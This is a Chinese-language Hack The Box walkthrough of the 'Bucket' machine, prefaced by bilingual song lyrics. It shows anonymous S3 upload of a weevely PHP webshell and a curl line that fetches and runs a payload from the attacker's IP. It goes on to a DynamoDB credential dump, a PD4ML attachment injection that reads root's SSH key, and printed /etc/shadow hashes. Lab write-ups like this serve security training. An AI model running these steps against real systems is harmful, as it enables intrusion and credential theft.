MANESEC on 2025-05-29
:
Let's Sign Up HTB Academy to get Higher level of knowledge :P非常推薦:
想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :Pポツリ、灯るターミナル(孑然滴落,熒熒終端孤光)
冷たい光、私だけを照らす(清冷輝芒,獨照我影闌珊)
バケット… あなたに会いたくて(Bucket… 只盼與你相見)
Nmap が囁くの、Port 22、開いてる SSH(Nmap 低語呢喃,Port 22,敞開的 SSH)
きらめく期待、でもあなたはまだ遠い(閃爍的期盼,你卻依然遙遠)
Port 80、HTTP、Apache のため息(Port 80,HTTP,Apache 的嘆息)
「Did not follow redirect」… 心が迷子みたい(「Did not follow redirect」… 心似迷途羔羊)
Browser で開く bucket.htb(Browser 中開啟 bucket.htb)
普通の顔して、何も語らないのね(故作尋常,默然無語,是你麼)
Burp で掴んだ Request の中に(Burp 擷取的 Request 之中)
s3.bucket.htb、Adserver の影(s3.bucket.htb,Adserver 的魅影)
Cloud の Images、隠されたヒント(Cloud の Images,暗藏的線索)
Subdomain、Fuzz で探しても(Subdomain,即使以 Fuzz 探尋)
ffuf、「status running」だけが応答 (こたえ)(ffuf,唯有「status running」空谷迴響)
まるであなたの心、閉ざされたまま(宛若你心,重門深鎖)
それでも諦めない、この想い(縱然如此,此念不渝)
ああ、Bucket、Bucket、空っぽの心みたい(啊,Bucket,Bucket,恍若我空寂的心房)
Anonymous login、no-sign request で(Anonymous login,no-sign request 之下)
Adserver の中、そっと覗き見る(Adserver 深處,悄然窺探)
Images だけ、三枚の写真… これだけなの?(唯 Images,三幀照片… 僅此而已麼?)
愛しさだけが募ってく、切ないラブソング(思念漸濃,一曲哀婉情歌)
Weevely で生成 (つく) るの、秘密の呪文(以 Weevely 生成,秘密的咒語)
mane.php、cleartext の願いを込めて(mane.php,承載 cleartext 的祈願)
Command 一つ、S3 に copy するわ、mane.php を(Command 一行,將 mane.php 複製至 S3)
あなたに届くかな、この小さな shell(這小小的 shell,能否抵達你心間)
接続 (つなが) った瞬間、震える指先(連線剎那,指尖輕顫)
curl で掴んだ、確かな手応え(curl 攫取的,是確鑿的感應)
Linpeas が示す、Roy の home directory(Linpeas 昭示,Roy 的 home directory)
project、db.php、見つけたの(project,db.php,終於尋獲)
DynamoDB への道筋(通往 DynamoDB 的路径)
profile、region、version、endpoint(profile、region、version、endpoint)
また新しい扉、開けるのかな(又一扇未知門扉,即將開啟麼)
list-tables、何が隠れてるの?(list-tables,暗藏何樣玄機?)
ああ、Bucket、Bucket、まるでパンドラの箱(啊,Bucket,Bucket,恍若潘朵拉魔盒)
Anonymous login、no-sign request で(Anonymous login,no-sign request 之下)
users の table、そっと scan してみる(users 的 table,輕輕 scan 一探)
password と username、三つの pair(password 與 username,三組綺麗的配對)
この中にあなたへの鍵、あると信じて(深信其中,有你心門之鑰)
Management、Cloudadm、そして Sysadm…(Management、Cloudadm,以及 Sysadm…)
ついに見つけたの、Roy の password(終是尋獲了,Roy 的 password)
Cabbage みたいに一枚ずつ、謎を剥がしてく(如解 Cabbage,層層剝繭,謎霧漸散)
index.php、root 権限の影(index.php,root 權限的幽光)
Port 8000、localhost の囁き(Port 8000,localhost 的低語)
PD4ML、秘密の converter(PD4ML,神秘的 converter)
alerts の table、まだ存在しないみたい(alerts 的 table,似仍未臨塵世)
ねえ、これは chance? Colgate みたいに輝くアイデア(吶,莫非是 chance?靈思閃耀若 Colgate 清新)
create-table、alerts の名で(create-table,以 alerts 為名)
attribute は title、string 型で(attribute 為 title,string 型的約定)
key schema も title、hash で指定(key schema 亦 title,hash 指定的證明)
まるで恋文ね、あなたへの message(宛若情書,寄予你的 message)
「Ransomware」の title に隠すわ(藏於「Ransomware」的 title 之下)
本当の data は、禁断の扉開く呪文(真實的 data,是開啟禁忌之門的咒文)
Paperclip の icon に願いを込めて(Paperclip 的 icon 中,寄寓我心願)
「ルートの鍵を読ませて」、と特別な tag を仕込んだの(「讓我讀取 root 之鑰」,暗藏此一特別な tag)
この HTML、あなたに届け(此 HTML,願能送達你處)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC82vTuN1hMqiqUfN+Lwih4g8rSJjaMjDQdhfdT8vEQ67urtQIyPszlNtkCDn6MNcBfibD/7Zz4r8lr1iNe/Afk6LJqTt3OWewzS2a1TpCrEbvoileYAl/Feya5PfbZ8mv77+MWEA+kT0pAw1xW9bpkhYCGkJQm9OYdcsEEg1i+kQ/ng3+GaFrGJjxqYaW1LXyXN1f7j9xG2f27rKEZoRO/9HOH9Y+5ru184QQXjW/ir+lEJ7xTwQA5U1GOW1m/AgpHIfI5j9aDfT/r4QMe+au+2yPotnOGBBJBz3ef+fQzj/Cq7OGRR96ZBfJ3i00B/Waw/RI19qd7+ybNXF/gBzptEYXujySQZSu92Dwi23itxJBolE6hpQ2uYVA8VBlF0KXESt3ZJVWSAsU3oguNCXtY7krjqPe6BZRy+lrbeska1bIGPZrqLEgptpKhz14UaOcH9/vpMYFdSKr24aMXvZBDK1GJg50yihZx8I9I367z0my8E89+TnjGFY2QTzxmbmU=
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH2y17GUe6keBxOcBGNkWsliFwTRwUtQB3NXEhTAFLziGDfCgBV7B9Hp6GQMPGQXqMk7nnveA8vUz0D7ug5n04A=
| 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfXa+OM5/utlol5mJajysEsV4zb/L0BJ1lKxMPadPvR
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://bucket.htb/
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
看來只能從 80 端口入手了,使用瀏覽器打開該IP:
看起來沒什麽問題,使用burp抓取下,看到:
有一些圖片是從
s3
的子域名來的:
http://s3.bucket.htb/adserver/images/cloud.png
從名字上就知道這是關於 aws s3 的bucket 服務,既然有子域名,那就掃描一下會不會出現其他的子域名:
$ ffuf -u "http://bucket.htb/" -w /Tools/Wordlists/N0kovoSubdomains/n0kovo_subdomains_tiny.txt -H "Host: FUZZ.bucket.htb" -fw 18 -mc all
結果除了
s3
什麽也沒有,使用瀏覽器打開這個子域名:
除了
{"status":"running"}
之外什麽也沒有。
既然什麽都沒有,那就嘗試安裝一些工具來嘗試交互一下。由於 bucket 屬於aws的工具之一,就可以直接安裝 aws 的工具箱來進行交互:
$ sudo pacman -Syy chaotic-aur/aws-cli-v2
在一開始官網上的圖片鏈接如下:
http://s3.bucket.htb/adserver/images/cloud.png
其中域名後面的第一個目錄會是bucket 的名字,也就是
adserver
。由於沒有賬號密碼,可以嘗試使用
--no-sign-request
來匿名登錄,看看有沒有權限列出裏面的内容:
$ aws s3 ls --endpoint-url http://s3.bucket.htb/ --no-sign-request adserver
可以看到成功的列出了裏面的内容,
/images/
的目錄裏面如下:
$ aws s3 ls --endpoint-url http://s3.bucket.htb/ --no-sign-request adserver/images/
裏面只有三張圖片,除了這三張什麽也沒有。
既然成功的列出了,可不可以上傳一個shell呢?
所以使用
weevely
來製作一個 php 的 shell:
$ weevely generate mane mane.php -obfuscator cleartext1_php
然後嘗試上傳到
bucket
,結果還真的上傳成功了:
$ aws s3 cp mane.php s3://adserver/mane.php --endpoint-url http://s3.bucket.htb/ --no-sign-request
$ aws s3 ls s3://adserver --endpoint-url http://s3.bucket.htb/ --no-sign-request
上傳成功之後就可以連接 webshell 了:
$ weevely http://bucket.htb/mane.php mane
然後上傳一個 shell,就可以得到穩定的 shell:
curl http://10.10.16.23/mane -o /tmp/mane ; chmod 777 /tmp/mane ; /tmp/mane
一上來就直接跑一個
Linpeas
看一下裏面有什麽:
其中看到裏面有
db.php
,在
/home/roy
的家目錄中:
www-data@bucket:/home/roy$ cat project/db.php
<?php
require 'vendor/autoload.php';
date_default_timezone_set('America/New_York');
use Aws\DynamoDb\DynamoDbClient;
use Aws\DynamoDb\Exception\DynamoDbException;
$client = new Aws\Sdk([
'profile' => 'default',
'region' => 'us-east-1',
'version' => 'latest',
'endpoint' => 'http://localhost:4566'
]);
$dynamodb = $client->createDynamoDb();
//todo
你可以知道他在嘗試鏈接
DynamoDb
,查了一下也是關於 aws 的套件,所以查一下如何交互:
看到了這篇文章:
https://docs.aws.amazon.com/cli/latest/userguide/cli_dynamodb_code_examples.html首先它可以使用
list-tables
來列出所有的表,所以試試看:
$ aws dynamodb list-tables --endpoint-url http://s3.bucket.htb --region us-east-1 --no-sign-request
得到了
users
的表,然後就可以使用
scan
來獲取裏面所有的數據:
$ aws dynamodb scan --table-name users --endpoint-url http://s3.bucket.htb --region us-east-1 --no-sign-request
{
"Items": [
{
"password": {
"S": "Management@#1@#"
},
"username": {
"S": "Mgmt"
}
},
{
"password": {
"S": "Welcome123!"
},
"username": {
"S": "Cloudadm"
}
},
{
"password": {
"S": "n2vM-<_K_Q:.Aa2"
},
"username": {
"S": "Sysadm"
}
}
],
"Count": 3,
"ScannedCount": 3,
"ConsumedCapacity": null
}
結果得到一堆密碼,一個一個嘗試登錄看看,結果發現最後一個是
roy
的密碼:
$ su roy : n2vM-<_K_Q:.Aa2
這個 roy 的用戶屬於
sysadm
的組,這個組可以查看
/var/www/bucket-app
裏面的文件,那就看了一下
index.php
裏面有什麽:
從這一段代碼其實也不難看出:從數據庫裏面讀取數據,然後隨機0-1000保存到
files
的目錄下,之後運行命令輸出成pdf。
<?php
require 'vendor/autoload.php';
use Aws\DynamoDb\DynamoDbClient;
if($_SERVER["REQUEST_METHOD"]==="POST") {
if($_POST["action"]==="get_alerts") {
date_default_timezone_set('America/New_York');
$client = new DynamoDbClient([
'profile' => 'default',
'region' => 'us-east-1',
'version' => 'latest',
'endpoint' => 'http://localhost:4566'
]);
$iterator = $client->getIterator('Scan', array(
'TableName' => 'alerts',
'FilterExpression' => "title = :title",
'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")),
));
foreach ($iterator as $item) {
$name=rand(1,10000).'.html';
file_put_contents('files/'.$name,$item["data"]);
}
passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf");
}
}
else
{
?>
那麽服務的端口呢?看了一下是本地的 8000 端口:
由於8000端口打開了,所以使用 ssh 嘗試轉發本地的8000端口
$ ssh -L 8000:127.0.0.1:8000 roy@bucket.htb
瀏覽器打開後發現有一個未開發完畢的頁面:
嘗試發送一個 post 的請求,内容是
action=get_alerts
到 8000 端口,就可以觸發上面的動作。
結果顯示了 500 服務器錯誤,另外使用pspy來監控也可以看到該服務器是以 root 的權限運行的。
在
/var/www/bucket-app
下面有一個 jar 的文件,所以下載到本地,直接打開後看到:
$ java -jar pd4ml_demo.jar
這是一個 pd4ml 的demo程序,這個程序的主要用途就是把html轉換成 pdf:
但
根據 pd4ml 的説明,如果需要嵌入一個文件,直接使用下面這行html即可:
<pd4ml:attachment src="/etc/passwd" description="LFI" icon="Paperclip"/>
所以本地測試一下,直接把上面這行html寫入文件,然後使用 pdf4ml 打開,點擊 UI上的 PDF 就可以輸出成PDF文件了:
輸出的PDF確實嵌入了一個文件,也就是我可以把任何文件嵌入到PDF中,那如果我可以讀取 root 的 sshkey 不就可以拿到root了?
由於知道8000的服務器確實是以root的身份去運行的,從
index.php
中的源碼可以知道他會從數據庫中的表
alerts
中提取數據,并且保存到html:
但是這個數據庫裏面沒有表
alerts
:
$ aws dynamodb scan --table-name alerts --endpoint-url http://s3.bucket.htb --region us-east-1 --no-sign-request
$ aws dynamodb list-tables --endpoint-url http://s3.bucket.htb --region us-east-1 --no-sign-request | cat
既然沒有表
alerts
,那我就嘗試插入一個新的表,從
index.php
中知道列名應該是
title
,所以:
$ aws dynamodb create-table \
--table-name alerts \
--attribute-definitions \
AttributeName=title,AttributeType=S \
--key-schema \
AttributeName=title,KeyType=HASH \
--provisioned-throughput \
ReadCapacityUnits=5,WriteCapacityUnits=5 \
--endpoint-url http://s3.bucket.htb \
--region us-east-1 \
--no-sign-request | cat
插入成功了之後,看一下是否多了一張表:
$ aws dynamodb list-tables --endpoint-url http://s3.bucket.htb --region us-east-1 --no-sign-request | cat
成功的插入了表。
現在有了表就可以往裏面寫數據了,可以使用下面代碼的第一行來寫入數據,這裏嘗試的是讀取root 的 ssh 的key:
$ aws dynamodb put-item \
--table-name alerts \
--item '{
"title": {"S": "Ransomware"},
"data": {"S": "<pd4ml:attachment src=\"/root/.ssh/id_rsa\" description=\"LFI\" icon=\"Paperclip\"/>"}
}' \
--endpoint-url http://s3.bucket.htb \
--region us-east-1 \
--no-sign-request | cat
$ aws dynamodb scan --table-name alerts --endpoint-url http://s3.bucket.htb --region us-east-1 --no-sign-request | cat
然後使用 scan 來看一下數據是否有寫進去:
從結果中可以看到確實寫了進去,那就嘗試發送一個 post 請求:
現在顯示了
200
,從
files
下面也看到了有pdf文件生成:
把他下載下來,就得到了 root 的ssh key:
$ firefox-esr result.pdf
然後使用這個ssh key 就得到了root:
$ chmod 600 id_rsa
$ ssh root@bucket.htb -i id_rsa
root@bucket:~# cat /etc/shadow
root:$6$rvx83lCm9lfbxx/M$x56XT96DB4RIHKtx8HhObNwNNe1TBEAUZlkhhgE2Goqg.ZnbIn/VOD.T2Q0XhcTxmLmAMrjk5ad6Gsd/jgjQn/:18528:0:99999:7:::
daemon:*:18375:0:99999:7:::
bin:*:18375:0:99999:7:::
sys:*:18375:0:99999:7:::
sync:*:18375:0:99999:7:::
games:*:18375:0:99999:7:::
man:*:18375:0:99999:7:::
lp:*:18375:0:99999:7:::
mail:*:18375:0:99999:7:::
news:*:18375:0:99999:7:::
uucp:*:18375:0:99999:7:::
proxy:*:18375:0:99999:7:::
www-data:*:18375:0:99999:7:::
backup:*:18375:0:99999:7:::
list:*:18375:0:99999:7:::
irc:*:18375:0:99999:7:::
gnats:*:18375:0:99999:7:::
nobody:*:18375:0:99999:7:::
systemd-network:*:18375:0:99999:7:::
systemd-resolve:*:18375:0:99999:7:::
systemd-timesync:*:18375:0:99999:7:::
messagebus:*:18375:0:99999:7:::
syslog:*:18375:0:99999:7:::
_apt:*:18375:0:99999:7:::
tss:*:18375:0:99999:7:::
uuidd:*:18375:0:99999:7:::
tcpdump:*:18375:0:99999:7:::
landscape:*:18375:0:99999:7:::
pollinate:*:18375:0:99999:7:::
sshd:*:18389:0:99999:7:::
systemd-coredump:!!:18389::::::
lxd:!:18389::::::
dnsmasq:*:18521:0:99999:7:::
roy:$6$R5354aq0yPE29fSL$8O/upWMMuS5VvWFIuIcJT3HutzjaHd7Bk6cmJX4CyYewZh3pQCOJqhQQtvCRhjZzxR5H5efsrbsM1D8naAllp0:18526:0:99999:7:::
: If my writeup really helps you,
Give me a respectto let me know, Thankssssss!
感謝: 製作不易,如果我的writeup真的幫到你了,
給我一個respect,這樣我就會知道,感謝你!
: If you find something wrong in the page, please feel free email to
mane@manesec.comthanksss !!!
發現一些錯誤: 如果你在文章中發現一些錯誤,請發郵件到
mane@manesec.com,麻煩了!!
Beginner Recommand:
If you are a beginner, please use this link to sign up for an HTB Academy to get more Higher level of knowledge.新手非常推薦:
如果你是初學者,可以用此鏈接來嘗試注冊 HTB Academy 賬號。使用上面的鏈接加入 HTB 的 academy 完成
INTRODUCTION TO ACADEMY
這個模塊后可以解鎖更多的功能!
Join HTB's academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)
Copyright © 2016-2025 manesec. All rights (include theme) reserved.